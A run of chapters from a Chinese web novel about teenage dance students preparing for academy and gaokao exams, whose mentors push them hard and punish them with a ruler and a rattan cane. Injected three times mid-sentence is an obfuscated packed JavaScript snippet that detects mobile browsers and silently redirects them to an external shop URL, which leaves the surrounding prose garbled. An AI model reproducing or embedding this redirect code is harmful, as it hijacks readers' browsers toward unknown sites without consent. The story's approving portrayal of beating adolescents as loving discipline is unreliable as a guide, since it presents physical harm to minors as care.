一想到如此,晓希不禁后悔自己曾也是补眠大队的一员,落下的那么多东西一点点补回来,实在是比窝在练功房一整天都累人。好在他知道学长也并不是一定要他考到几百分,只是希望他能全力以赴,渐渐改变大家对学舞的孩子的偏见。因此专业考试结束等分数的日子里,晓希丝毫不敢放松地准备六月高考,彦承却是等不及的要看专业课的发榜,一想到晓希肯定是稳稳当当地拿着第一,简直是比自己考试成功还开心。 然而事实,还是让人失望了。 晓希站在首都舞院的大门前,眼看着那刺眼的陶乐钦三个大字赫然排在首位,周遭的低语和指点都仿佛变成凛冽的寒风将他割的遍体鳞伤。他终于清楚的意识到,他并非像自己想象的那样淡泊。迷信于自己对失利的坦然态度,原来是因为从未想过有一天,失败会就这么实实在在的出现在他面前。 而那个本该远离他生命的人,也终于再次以倨傲而强悍的姿态降落在他面前,突然而意外。 “百闻不如一见啊,你好,我叫陶乐钦。” 一头张扬的栗色短发,一双单眼皮下是乌黑的眼眸,仿佛放着精光般将人看得透透。林晓希转过头,礼貌性地回应,然后看见他微扬的下巴,仿佛爽朗的笑容,和嘴角带着的,似有似无的嘲弄。这个人,就是陶乐钦了,那个说话不留任何余地一针见血的人。 “想不到,你也考了编导系。” 陶乐钦紧了紧背上的背包,眼神却不禁瞟向了墙上的红榜。林晓希几乎是下意识的收紧十指,狠狠地逼自己露出大方的笑容,“我也没想到你会报考中国的学校。” 陶乐钦微微一笑,没有回答,“那么以后,还请多多指教了。” 修长却指节分明的右手伸到身前,晓希用力的回握住,“会有机会的。” 文筱的办公室里,满桌铺着各式的文件,教案,报告,舞团的企划。文筱挑拣出已经做好的文件一一整理好,又从未完成的一堆中拿出一份细细的看了起来。响亮而急促的敲门声响起,敢这么大声敲自己门的,除了孔爵也没有别人了。 “进来!” 话音未落人已经推门进来了,文筱抬起头,果然是孔爵。“闲着没事儿跑我这儿干什么来了?” “文导,” 本是一路大步流星理直气壮的走进来,话到了嘴边,却还是有些迟疑,孔爵用手指蹭了蹭鼻子,“今天学校发专业成绩的大榜了,您……看了没?” 再怎么毕业了,当老师了,教学生了,在自己眼里也还是小学生。想说什么想问什么,不用脑子也猜得出来,“看了。”文筱随口应了一句,继续看着手里的文件。 看了?怎么也没点反应呢? 孔爵在房间里踱来踱去,终于还是忍不住,“我说,那个陶乐钦一来就拿了个专业第一,算是怎么回事?” “第一就第一了,能怎么回事儿?”文筱头都没抬,手指夹着写的密密麻麻的纸张又翻过一页。 “文导”,孔爵按下文筱手中的文件,“陶乐钦比赛的带子我看过,是挺有新意的。可就点子多点儿怎么了,没资格踩到晓希头上。” 文筱眉头一立,“怎么了?我还没问怎么了呢?几天不见,林晓希的架子倒是见长了,一个两个都来问,成绩不好不在自己身上找问题,先想起别人的不是来了。” 孔爵一愣,随即也明白了七八分,“萧泽也来问过了?” “嗯,早上通了电话。” 孔爵一时的确是没话说了。自己本是送思思上课,路过门口看到大榜不禁血气上涌,立刻就要冲上来给晓希抱个不平,却没想萧泽已经问过了,如此一来,倒是让晓希被文导误会了。“您也知道,晓希不是那样的孩子,我和萧泽担心他而已。” 文筱点点头,摆手叫孔爵坐下,“我心里都明白。不过你老大不小了,这种事还用我解释?陶乐钦是日本籍,这次拿下金奖,父亲又是大名鼎鼎的富翁,舞院这边,该给的面子还是得给。再者,陶乐钦这样的选手,在国际大赛上绝对是讨喜的,学校可还指着他多拿几个大奖呢。” 孔爵几乎是一下子就来了脾气,恨恨地在桌子上落下一拳,“舞院就是有这么些个把什么都看的比舞蹈重的人,才会一年不如一年。” 文筱皱眉,孔爵这个性子,还真是不适合在体制内呆,“在我这儿说说就算了,不管好这张嘴,以后怎么敢请你进学校教书?” 一听说要教课的事,孔爵背上就起了一层鸡皮疙瘩,“哎哎哎,我可从来没答应过啊。”这学校里的事儿,他还是少掺和的好。 钟家的晚餐,因为有了孔爵和王思邈的到访而变得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239502|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热闹起来。晓希如平常一样帮着萧泽做饭,摆桌,看不出有什么不同,反倒是彦承和思思为了活动气氛看起来有些不自然了。 吃过晚饭,本想着大家一起看看电视玩玩牌,三个小的却不知怎么地都想去练功房,周末该放松的时候竟然都努起力来。思思小心翼翼的看着孔爵,直到老师点点头,才如获大释般追着彦承进了练功房。 孔爵笑看着三个小孩冲出门口,转身却一脸正经地凑到正在洗碗萧泽身边,“话说,你是怎么跟晓希解释的?这孩子心思重,表面越看着没事儿,我才越担心。” 萧泽点点头,也是一脸担忧,“也没什么好解释。榜一放出来文导就给他打电话了,说陶乐钦就是跳的比他好,输给人家,就是自己能力不够。叫他不要多想,努力就成了。” “文导……真是。” 孔爵忍不住捶着台面,越是想着晓希若无其事的面孔,心里就越是暗暗的心疼。文导也好,他也好,甚至是萧泽也好,有时都对这个孩子太苛刻了。许是见惯了他的默默努力不屈不挠的样子,才越发的用更高的标准去要求他。 “你先收拾吧,我去看看他们。” 孔爵在门口停下来,练功房里,三个人席地而坐,彦承不停劝着晓希,思思从旁眼巴巴地看着。“晓希,你有事儿别闷着,跟我们说说好不好?” “我真的没事儿的”,晓希大方的笑着,就如往常一样,“不开心肯定是有一些了,不过是自己技不如人,也没什么好抱怨的。舞院里人才济济,今天出一个陶乐钦,明天不知道还有多少人。我就继续努力就好了,放心吧!” 房门吱呀一声,三个人转头,是孔爵进来了,“怎么才说要努力就给我撞上偷懒了呢?都说跑来练功了,原来是开座谈会了?” “老师……” “孔爵哥……” 三个人麻利的站起身,在孔爵身前排成一排,有些不自在地低下头。 “头都抬起来!这是什么站姿!” 孔爵哥凶起来,可是比萧泽哥可怕不只一点点的。彦承舔了舔嘴唇,仿佛回到几个月前魔鬼训练的日子,只要是一想到,背上就紧地起了一层鸡皮疙瘩。 “彦承,卡萨布兰卡,来一段儿,让我看看在你萧泽哥的‘科学教育法’下有没有退步?晓希、思思,垫子上耗腿去,等会儿换你们!” 彦承到CD架上找音乐,别的不敢说,要说这一支舞,他可是手到擒来。当初不知道挨了多少打多少罚才练出来的,回了家里这么久,每天还是会固定地练上几次。如今被孔爵哥点出来跳,面子上虽挂着个苦瓜脸,心里却暗暗地有些期待,想在孔爵哥跟前大展身手。 一停一动,一跃一转,的确是和从前不一样了。孔爵绞着手臂从旁看着,心里不禁暗暗赞赏,好小子,算他没偷懒! 一曲舞毕,孔爵捏着少年的脖颈大力晃了几下,“不错嘛小子,看得出没少下工夫,想吃什么点吧,请你吃川菜怎么样?” “饭后甜点肯德基成么?” 彦承嬉皮笑脸的与孔爵打趣,一说到四川菜,真是很难不想到当初自己撑的晚上睡不着觉。 孔爵大手一挥在他屁股上落下一巴掌,“别贫了,上垫子去!思思下来,这几天新学的,好好跳一遍看看。” 5. 第五章 王思邈从孔爵手里接过手机连到了音箱上,又摆弄了几下。不一会儿,婉转悠扬的乐声便如溪水般流淌到空气中,瘦削的身影也在房间中起舞。孔爵细细品味着,心中却有了别样的想法。他的思思又努力,又听话,在学舞的孩子里,也算是很不错的了。可是他的确欠缺了那么一点,所谓的天赋。同一个动作,无论练习多少次,听多少遍曲子,又或者是听他了解释多少回,总还是少了一点该有的味道。老天没给的东西,光羡慕是羡慕不来的,晓希天生弹跳好,又高又飘的横双飞燕,思思不练上一阵是跳不出来的。 不过就算再不完美,哪怕带着一点点的笨拙,思思依然是个一心爱跳舞的孩子,也是自己心中格外珍重的那个人。无论如何,他都会好好守护着这么个小人儿,和他的梦想,一起前行。 轮到晓希上场,王思邈乖乖回到垫子上耗腿,孔爵长腿一迈跨坐到他腿上,当事人一声没吭,彦承却是吓得一皱眉,“孔爵哥,悠着点儿啊,看着都疼。” 孔爵眉梢一挑,遮掩不住的痞气又从那原本英俊的眉眼中透了出来,“别急,有轮到你的时候呢。” 《故乡谣》的曲子。 音乐一响孔爵就听出来了,晓希专业三试的时候跳的就是这个,曲子用的是别人的,舞用的是自己的,能够摆脱前人的影子将音乐赋予不一样的风格的确是不易。只是三试的带子他下午已经看过了,需要改进的地方还很多,却不至于输给陶乐钦。可是这孩子,果然还是哪儿跌倒就在哪儿爬起来,真没叫人失望。 孔爵细细品看,手不自觉的在腿上打着拍子,编舞较三试的时候做了很多改变,也成熟了许多,看得出来是下过功夫修改的。孔爵频频点头,心中不禁感叹,所以说潜力嘛,还是得大力地激发出来! 音乐结束,晓希也渐渐从舞蹈中抽离,一改方才的从容不迫,只有些局促的站在地当间。在孔爵学长面前跳自己编的舞,还是第一次。 “还不错。” 孔爵点点头从王思邈身上下来,不顾小孩儿还来不及喘口气就给从垫子上拉了下来,“中间侧抬腿那个动作你去做一次。” 王思邈一愣,孔爵不禁皱眉, “没记住么?晓希你再做一遍!” 晓希也微微有些诧异,不知道学长葫芦里卖的什么药,却还是重做了一遍。王思邈照样学下来,练习了几遍,也有模有样了。 “彦承,你也下来! 尾声那串动作,跟着晓希学一遍。” 彦承也给叫下垫子来,压着狐疑照做了。然后三个孩子站在地当间,竟是都有些不知所措了。 “晓希……” 孔爵摸着垫子绕到前面,虚虚地靠在垫子上,“这两组动作,思思和承儿做的都比你好。” !!! 心脏如早搏般猛地纠痛起来,晓希怔在那里,脑海中满是校门口的那张红榜,竟是半个字都说不出来。 “孔爵哥!” 彦承也险些被这一句话吓傻,眼看着晓希失神的模样,恨不得自己冲过去替他。而孔爵的神色,也第一次,至少是在彦承与他相识以来的第一次,真正的凝重起来,“承儿,思思,你们出去。” 由不得彦承一走三回头,门终于还是被带上,房间里只剩下两个人。晓希依旧站在原地,微微垂着头,努力压下胸口一阵有一阵好像失重般的难受。连日来的挫败感几乎让他丧失了脸红的能力,他好像是变成了个厚脸皮,哪怕心里面再怎么已经波涛汹涌,脸上也能木然地不显出半分来。 “晓希……” 孔爵交叠这双脚倚在垫子上,“皇帝的新衣这个故事……不用我讲了吧。” 晓希指尖微动,从幼儿园就听起的讲给小朋友的故事,他怎么能不知道。可是想到这背后的立意,想到孔爵哥提及这个故事的用意,他只觉得没来由的难堪,动了动嘴唇,却到底沉默。 “你应该明白我的意思。” 孔爵顿了顿,压下了想把少年拉到自己身边坐的想法。他平时总是跟这几个小子混成一片,练功的时候尽管霸道些,也不拿师长的架子。只是今天,他却留着晓希直挺挺地站在跟前,自己则坐着看他虚握的拳头,松了又紧,紧了又松;这其中教育的意味,已经很浓了。 “如果陶乐钦没有拿了第一,你会不会重新审视这首《故乡谣》?会不会发现创作中许多仍值得推敲斟酌的地方?也许不会。也许……你会觉得自己编的还不错,然后以后拿着这样的水准出去?真要是等到了难堪的那一天,你得多希望今天有个人能给你先提个醒儿,嗯?” 身前站着的少年有些微微的震动,响鼓该不用重锤,可孔爵知道自己这一记,却是敲得狠了些。 林晓希忍不住闭了闭眼,深深吸了一口气,只觉得方才从头凉到脚的身体渐渐回了温。其实自从那通采访电话到今天,这些事,他已经反反复复想了很多遍,孔爵哥说的话他也都明白。只是再怎么想得明白,想一时摆脱失败的气馁,还是不容易…… 不知何时,孔爵已走到身侧,展开宽阔肩背揽着自己。“再有,输给陶乐钦,怎么就那么难接受,我说思思和彦承跳的比你好的时候,为什么那么震惊?” “我——” 晓希侧过头,对上孔爵哥询问的眼神,却无言以对。 孔爵紧了紧手臂,“你知不知道,你并不倨傲,也不虚荣。但你很自信,你的确从来没怀疑过,自己是最好的。优势被挑战的感觉,是很不舒服的,可那种不舒服所产生的动力,也是不一般的。这种奇妙的逻辑,我曾经经历过,我想你现在也应该感受到了。陶乐钦不一定真的比你强,可他却是一个强有力的对手。没有他的存在,就没有现在的《故乡谣》,也不会有,我们大家共同期待的,你更上一层的进步。” ------------------------------------------------------------------ 客厅里,钟彦霖毫不客气的在弟弟背上落下一巴掌,“是怎么惹着孔爵了,都给赶出来了。”没想到一直若有所思的彦承一把抱住他的胳膊,“哥,你快去救救晓希,孔爵哥在欺负他。” “老师没欺负晓希学长,是在帮他。” 王思邈从旁拽了拽彦承的衣角,叫他别小题大做。彦霖左右看着,一个一脸着急,一个也是一本正经,只叫他哭笑不得。 “过来吃点儿东西吧”,不知什么时候萧泽已经端了几碟甜点进来,听见孩子们谈话却也不急不乱。“晓希的心病估计也就孔爵的怪招能治。你得闲了就歇会吧,别杞人忧天。” 眼看着两个都无动于衷,彦承也知道他们说的有道理,只能在沙发上坐了。接过萧泽哥递过来的芝士蛋糕,却是一点食欲都没有,眼看着晓希难过,他心里如何能放得下。孔爵哥也是的,明知道晓希是个心里爱装事儿的性子,还恨不得再给他添点儿堵,这个怪招,难不成是以毒攻毒? 正走神儿的功夫,晓希和孔爵却从练功房里出来了,孔爵一看茶几上的蛋糕就急了,忙不迭的从思思那儿抢了一口,“有好吃的怎么也不说等着老师。” “孔爵哥你吃我的。”彦承随手把盘子递给孔爵,眼神立刻追着晓希看了过去。脸色嚒,还正常,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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北方的夏季雨水多,晚上如瓢泼的下了一阵,如今停了,凉风便从大敞着的窗户吹进来,彦承扯出平时都滚在身下的薄被单,一下子拉到了胸口。房间一角的莹莹灯光下,晓希依旧低着头奋笔疾书,桌上铺满了教科书练习册和密密麻麻的演算纸。彦承就这么看着他,将那么个瘦削却倔强的背影深深印在脑子里。也不知道看了多久,只看得眼皮都打了架,依稀才见晓希抻了个懒腰站起身来。 晓希走到床边,看彦承头一歪睡了过去,不禁笑着无奈地叹了口气,将他不知什么时候耗上去的腿给放了下来。两分钟前还强挺着说不困,这一会儿就已经睡得“不省人事”了。 关掉桌上的小台灯,晓希蹑手蹑脚地爬上床,躺倒。大概是寻到情人的气息,彦承一个翻身把腿扔到晓希身上,竟还打起了呼噜。晓希不禁牵起嘴角,由着他压着,自己阖眼,却没了睡意。大家闹哄哄的笑了一晚上,他的心情轻松了不少。送走了孔爵哥和思思回到房间,他还是决定拿出课本学一阵。 从前在附中的时候,每天练功练到十点就困得能倒头就睡,如今学习学的越晚,却越精神。晚风顺着窗吹进来,他不禁打了个冷战,紧了紧身上的被子,一闭上眼睛,想不完的事情都往眼前冲。这几天发生了那么多事儿,自己的小挫折,晚上孔爵哥说的话,还有学长承儿他们的关心,虽然发生不开心的事儿,自己却因为大家的关怀觉得有很幸福。 从明天开始,学长只留了两个小时巩固基本功,其他时间都要复习文化课,一直到六月高考。仔细想来,自己从小学舞,这么全身心的学习文化课还真是头一回。什么地理政治,数学物理的,直惹得他头疼,他宁可多练五十个大跳,也比算出一道题简单。可之前答应了学长对文化课要全力以赴,这次是无论如何,也不能再让他失望了。 6. 第六章 连着一个礼拜,林晓希都埋头把自己淹没在教科书和习题册中。每天从早到晚,繁琐复杂的数理演算和艰涩拗口的文史政治几乎烧糊了他的脑子。虽然来补课的老师都说脑子很聪明,但毕竟是落了这么多年知识,普通高中的孩子正儿八经地学还未必学的明白,对他而言就更加是高屋建瓴的事,实在是……不太容易啊。 “嗯……”,又是一晚,写字桌前,明亮的台灯下,林晓希终于放下笔,靠着椅背大大地伸了个懒腰,将椅子腿翘起个不高不矮的角度,人也总算稍感放松地长舒了一口气。晚饭过后又埋头苦学了两个小时,手也写得发酸,背也坐的僵直,只缓缓转动着脖颈和肩膀,就听见骨头发出一连串“啪-啪”的响声。 练舞十年,他早习惯了天天从早运动到晚,一屁股坐下一动不动的时候全加起来恐怕都没有这几天多。他少有像现在这样的,特别想念练功房,特别想把身体每个关节都痛快的舒展开来,然后酣畅淋漓地跳上两支舞。可是…林晓希重新落回桌前,看了看习题册上圈出的好几处地方,还是先去找彦霖哥把积攒了一天的问题好好弄个明白吧。 一开始突击文化课,彦霖哥就叫他有什么问题及时来问自己,不能耽误。可他自小就是个喜欢自己琢磨的性子,又总觉得有些不好意思,所以起初的几天,虽然有好多不懂又没来得及问补习老师的难点,他却一次也没去找过彦霖哥。 头两天并不觉得什么,实在不明白的,就先压下不想,可是不出一个礼拜,就发现了这么做的弊端来。不知其一,就不能知其二。所以没用几天,那些不会的难点重点就像滚雪球一样越滚越大,直到结结实实地把自己撞了个跟头—— 发现问题的补习老师们第一时间去跟彦霖哥沟通了问题。老师们和彦霖哥在书房里恳谈的那半个小时,简直让又羞又愧晓希有了从未体会过的,“被找家长”的感觉。 可毕竟……彦霖哥不是他的家长。 这么说决不是因为他林晓希是个没心没肺到如今还跟学长一家见外的人,而实在因为他们对自己,太好了。且不说专业上的倾囊相授,生活上的无微不至,哪怕是对考取舞院几乎没什么影响的文化课高考,学长和彦霖哥也坚持自掏腰包的帮他请补习老师。所以这种不是家人却胜似家人的感觉,让自己更怕令他们失望。 所以还是,用尽全力吧。 走到了二楼另一侧彦霖哥的书房,门没关严,晓希轻轻敲了两下便探了脑袋进去,“彦霖哥,在忙吗?”。钟彦霖只如平常一样在电脑前看着文件,见是晓希来了,便叫他从旁等会儿,待到把手里的东西都整理好就招手叫他过来,“今天学的怎么样?不会的东西想明白点儿没?” 晓希把练习册翻到做了标记的那一页,听了话有些沮丧地摇摇头,“老师讲的时候听的很明白,自己做题就不会了。” 彦霖安抚的拍了拍他肩膀,“没关系,慢慢来。”只是低下头,见满页被圈起来的习题,眉头不禁微微皱了起来,“这么多都不会?” 明显是惊讶又带着些严肃的语气,晓希不禁绞紧了背在身后的手指,轻轻地“嗯”了一声。 “这道题,昨天讲过的公式就可以用,只需要一点小小的变动。” “这里,也是一样的道理。” “下面几道,差不多都是讲过的,也不难,算不出来?” 一题一题的看过,彦霖的脸色越来越暗,直到“啪”地把本子合了起来,晓希也跟着吓得一哆嗦,认识彦霖哥这么久,他还是第一次,这么严厉的面对自己。 “晓希,跟我说实话,这几题到底有没有认真看。” “认真看了!只是……是真的不会……” 晓希的声音渐渐低下去,倒不是因为心虚,只是十足的……难为情。 自小就是班里拔尖的好学生,大概从未有过如今这样,在书桌前站着挨训的时候吧。彦霖看着他几乎红到脖子的脸庞,面色也渐渐软了下来;想晓希也不是偷懒的孩子,自己也不想用训承儿的方式教他,便随手又写了几道题出来,叫他在旁边尝试做做。 搬了凳子坐在彦霖哥宽大书桌的侧面,晓希咬着笔头努力地想。可演算纸写了一页又一页,却是越写越烦理不出个头绪,直到笔尖刷的划破草纸,晓希才突然停下来,有些沮丧的望着满眼凌乱的字迹。“晓希……” 语重心长的一声在耳边响起,彦霖在桌上轻轻一拍,一柄戒尺赫然躺在了桌边,晓希转过头,看着彦霖哥的眼睛里带着惊异……和胆怯。 “练舞的时候,遇到拿不下的动作怎么办?” 晓希咬咬嘴唇,答得毫不迟疑,“练,练到会为止。” 彦霖点点头,不置可否,“就没有练不下去的时候?” “很少,就算有,也会开解自己,然后,继续练。” “那这些题呢?” 温和的声音逐渐严厉起来,“跳舞的时候有抵触情绪知道排解,做题的时候呢?你要知道,你今天学的这些,是为了明天去更好的地方跳舞。想跳舞,就先把这些搞清楚了。” “我……我知道,可是我真的不会。” 少年的语气明显急切起来,彦霖理解,却并不纵容,“把你脑子里的这些抵触情绪都给我赶出去,都是讲过的东西,耐着性子看,肯定有思路。现在就做,错一道题十下。” 最后一句,来的毫不意外却依然让人害怕。戒尺在桌上轻磕了几下,木质的敲击声惹得晓希皮都紧起来,他知道彦霖哥不是说着玩的,更何况,相比挨打,他更怕彦霖哥和学长对他失望。戒尺依然留在桌上,彦霖哥却已经推门悄悄出去,晓希深吸了口气,努力压下心中的情绪,拿起笔重新认认真真的审题。 ———————————————————— 晓希准备高考的日子里,彦承也不轻松。萧泽每天有大半天只看着他一个人,一点偷懒的机会也没有。再者萧泽对动作的要求几乎都要到了吹毛求疵的地步,动作稍有不准、练功稍显懈怠就难免有藤条加身。白天虽苦,可是到了晚上也要拼尽全力的遮遮掩掩,总怕晓希见了心疼。可哪次也都没能拗过晓希,都是给他按在床上老老实实的上了药,不管自己怎么龇牙咧嘴,他也都是一言不发,却能觉得出上药的动作又尽可能的轻柔了些。 能有这样的情人,真的是幸福啊。想当初,自己怎么会差点错过呢? “啊~疼!” 竹条打在皮肉上带起清脆的响声,彦承大叫一声捂着小腿在原地转着圈,抬头埋怨的看了眼萧泽哥,只见他绞着手臂立在身前,眉间已有几分不悦。大男孩连忙收起埋怨的眼神笑嘻嘻地挠了挠头,“萧泽哥别生气,这不是四点了,有点儿饿了。” 就不能认认真真多练一会儿!萧泽眉头皱的越发紧了,拿彦承乏善可陈的专注力也是没辙;用藤条紧追着的时候还好,可但凡放松一些,他练超不过两小时准开始走神。 “不想练成舞了成,去吧,去压腿。” 萧泽的藤条朝着墙边微微一挑,彦承立刻就软了腿,早上没提压腿的事儿,他还当躲过去了呢,看来萧泽哥记性好,这种事,是断忘不了的。 标准的横叉撑在垫子上,曾经以为无论如何都做不出的动作,现在已是信手拈来,彦承垂眸盯着眼前的地板,在心里从腰腹一直过到足尖,确认动作要领的每个细节,都照顾到了。 萧泽在少年看不到的地方微微点了点头,走到他身后,握着藤条的手才搭到胯上,身下的人就不禁一下子绷紧了肌肉,话声里也透着说不出的可怜,“萧泽哥,轻点儿。” 萧泽只在喉间那么嗯了一声,却算不得答应。彦承也知讨不到巧,回头偷偷扫了一眼,却只瞥见那根藤条,再低下头时,便不禁带着些委屈的,咬住了唇角。“放松。” 再听见耳朵里的,就只有这一声提醒。纵然害怕,彦承却是一点也不敢耽误,只得乖乖松了手臂勉强用手肘撑着。 压力如料想地渐渐沉重起来,直到超过了自己勉强能达到的那一点点角度,下半身仿佛要被拆开的撕裂感立刻在脑中炸出一道白光来。彦承狠狠的一皱眉,忍不住弓起背,深深埋下头。 “放松!” 一模一样的两个字,这次,却是不容置疑的呵斥。彦承颤抖着双臂撑着不松开,眼圈急的一阵阵泛红。他知道自己不该这么顶着萧泽哥的力道,可一感受到熟悉的疼,打心眼里的害怕就前赴后继的满溢出来…虽然萧泽哥平日里看着宁和温柔,下手却是比晓希狠多了。他实在是害怕,害怕比现在还要强烈千百倍的,哪怕是经历多少次都难忍的疼。 “练舞这么久了,别再让我拿这种事儿罚你。” 一贯的平和声调,在练功房里听起来,就让人不由得心尖一颤。到底是知道自己不对,彦承内心挣扎了片刻,终于下定了决心,咬着嘴唇一点点放松肌肉,在与萧泽哥的拉锯中渐渐败下阵来。微颤着的身体一点点向地面靠近,撕扯的痛也如三级跳般不断加深,彦承扣紧双手抵在额前,能感觉的到丝丝冷汗顺着发际流到手上。 “哥……” 离地还差几公分的距离,突然飘进空气中的话语带了几分重重的鼻音。不必猜,是疼的狠了又忍不住了,“嗯。”萧泽淡淡应了一声,语调却是向下的,让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239504|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时不知如何接话。 萧泽哥就那么大大方方的应了,彦承到了嘴边讨饶的话却说不出了。萧泽等了半晌,想要狠下心不理,却到底舍不得,说出了话,却又怕孩子得寸进尺,所以最后听进彦承耳朵里的,就是那么一句“再不软下去等下就就着这个姿势压腰!” 彦承自然是怕的,紧锁着眉头几乎是带着壮士断腕的气魄又软下去一点,嘴里却终究忍不住嗫嚅了一声“疼”。这七转八弯的一声“疼”,也如藤蔓一般七转八弯地盘上心头,裹的人心酸,直惹得萧泽忍不住牵起一丝苦笑,这些孩子们,逗自己开心的时候不见多能耐,叫人心疼却是一把手。 眼看着贴了地,手下的人也抖得厉害。萧泽换了膝盖顶着,腾出手帮他轻轻敲着过分紧绷的肌肉和韧带,“ 耗一会儿吧。这点苦还吃不了就别考舞院了。” 毛茸茸的头还是埋在臂弯里,良久,彦承才侧过头,眼圈泛着红。 “跟着孔爵哥的时候……比现在苦。早上……筋骨还发紧的时候,就要练。到了晚上……累的睁不开眼睛,也还是要练……经常……耗着耗着就睡了……” “嗯?”没想到承儿会说这些,萧泽微微一怔。 “那时候…也都嘻嘻哈哈撑过去了……跟着萧泽哥……的时候……却…没出息了……” 说到最后,连自己不好意思了,彦承用满是牙印的嘴唇咧出个尴尬的笑容。萧泽看得愈加心疼,不禁伸手拨乱一头扎手的短发,“是看上萧泽哥好欺负了?” 话语里满是浓浓宠溺,彦承摇摇头,脸上又热又烧,也辨不出是疼的还是羞的。 --------------------------------------------------------------------- 静下心来,仔细思考。满眼的题目的确看起来和善了许多,晓希一一仔细算过,彦霖掐着时间进来时,他刚好从头到尾检查了一遍。只是关乎戒尺,递出演算纸的一瞬间,心下满是忐忑。 要说一道题不错,也并不可能。彦霖目光扫过,在纸上打下两个红叉。晓希看在眼里,只得乖乖的伸出手。彦霖却是用戒尺在桌沿上轻磕了几下,晓希心下一惊,脸立刻又烧红了,“彦霖哥,还要练舞的,打手吧?” “打手不用写字了?” “那……那打左手。” 晓希连忙收起右手背在身后,将左手递了出来,五指并拢,伸的笔直。彦霖没有丝毫迟疑,握住他指尖,扬手就落了五下。几下戒尺又急又快,晓希只觉眼前一阵纷乱,手掌已像油泼般烫痛了起来。 “这道题,为什么错?” 连多一分思考的时间都没有,彦霖指向其中一个错号,低声问道。 也顾不得掌心火辣辣的疼痛,晓希皱起眉头又审了编题,右手抄起笔演算了几步,得到的答案果真和刚才不一样。“对不起,刚才马虎了。” 彦霖点点头,手里的戒尺轻轻一扬,晓希见状连忙伸出左手,心里却仿佛偷停了一拍般的慌。方才的印痕已经已不可思议的速度肿起来,十下落过,嘴唇上已经有了血腥的味道。 彦霖伸手扯了扯他下颌,将已经破了口子嘴唇从他嘴里解救出来,戒尺却在另一题旁边点了点,“这道呢?” “这道……” 晓希弯下身,咬着笔杆凝神细想,彦霖也耐着性子等他。果真,没一会儿,晓希兴奋的轻呼,“原来是这样! 嘶~ ”俯身正想落笔,左手不小心压在纸面上实实在在的疼了起来,晓希倒吸一口凉气,却顾不得抬头,只手掌朝上用手腕压着纸写字。如此又写了十分钟,彦霖接过来看才满意的点点头,尺尖也再次扬了起来。 晓希不自觉的曲了曲手指,不敢打量已经泛红的手心,强压着心慌直直地送了出去。这么招人心疼的孩子,彦霖的确有些心软,只是已经立了规矩,若不严谨执行,日后该如何管着孩子们。 清清楚楚的五下,晓希紧紧盯着戒尺,每一下落过,都是清脆的一声,手心好像烫伤般灼痛。疼,心里却不免庆幸……没有彦霖哥这样严词逼迫,自己恐怕也没这么快排除杂念。 彦霖仿佛猜透了他心中所想,笑着将戒尺收回抽屉。“记得小时候,古诗词背不出,我父亲也是这么打我的。那时候就觉得他老人家太古板严厉,以后自己当了爸爸,一定不会准备这东西。 ” 晓希有些发愣,彦霖哥父母的事他是知道的,虽然时隔多年,还是想不到他会这么自然的提起。 彦霖却不以为意,只将晓希红肿的左手拿起来检查,“可是后来,经历了承儿才知道,这薄薄一块木板的必不可需。” 7. 第七章 第七章 “可是后来,经历了承儿才知道,这薄薄一块木板的必不可少。” 林晓希躺倒在床上,有些出神的盯着天花板。挨了打的手心里还攥着临出来前彦霖哥给的药膏,脑海里却回响着这一句话。 承儿?戒尺…他有点不厚道地脑补着,活泼跳脱的彦承,在书房里,在戒尺下,会是个什么样子。想练功的时候一样吗?要么是撒泼耍赖,要么慷慨就义般咬牙硬挺着,还是像平日里挨训的时候,收紧了满身不安分因子一副我知错了的模样然后怯怯承受? 说起来,之前那次离家出走,这家伙可挨的不轻,想想今天落在自己身上的寥寥几板子,不禁一时又替他害怕心疼起来… 哎…都是在想些什么啊。晓希一个翻身撑起身子,故意紧了紧正高肿着的左手,强烈的疼痛立刻把天马行空的念头都从脑袋里赶了出去。 将乳白色的药膏涂在红肿的掌心和手指,清凉的感觉终于替火烧般的手掌降了降温,晓希稍稍舒了口气,渐渐放松了一直绷着的神经,只是……戒尺在眼前不断落下的情景却总是挥之不去。 其实,彦霖哥会对他动戒尺,他是真的没想到。和学长相熟的人,几乎没有不认识彦霖哥的,因为他对学长悉心照顾和常伴左右。自己也是因为这样才认识了这个棱角分明却又深沉温暖的大哥哥。记忆中,他总是那样风度翩翩,不乏风趣,却也有着令人生畏的长兄为父般的威严。大概也是因为如此吧,认识彦霖哥这么多年,哪怕是当初自己在学长门外跪求时他曾细心开导,哪怕是住进钟家后他真心把自己当成亲弟弟对待…自己与他之间,却总是有一分不薄不厚的间隔,一种既是尊重又有畏惧的距离。 只是这一层若有若无窗户纸,却在戒尺挥下的一刹那,被不经意地捅破了。 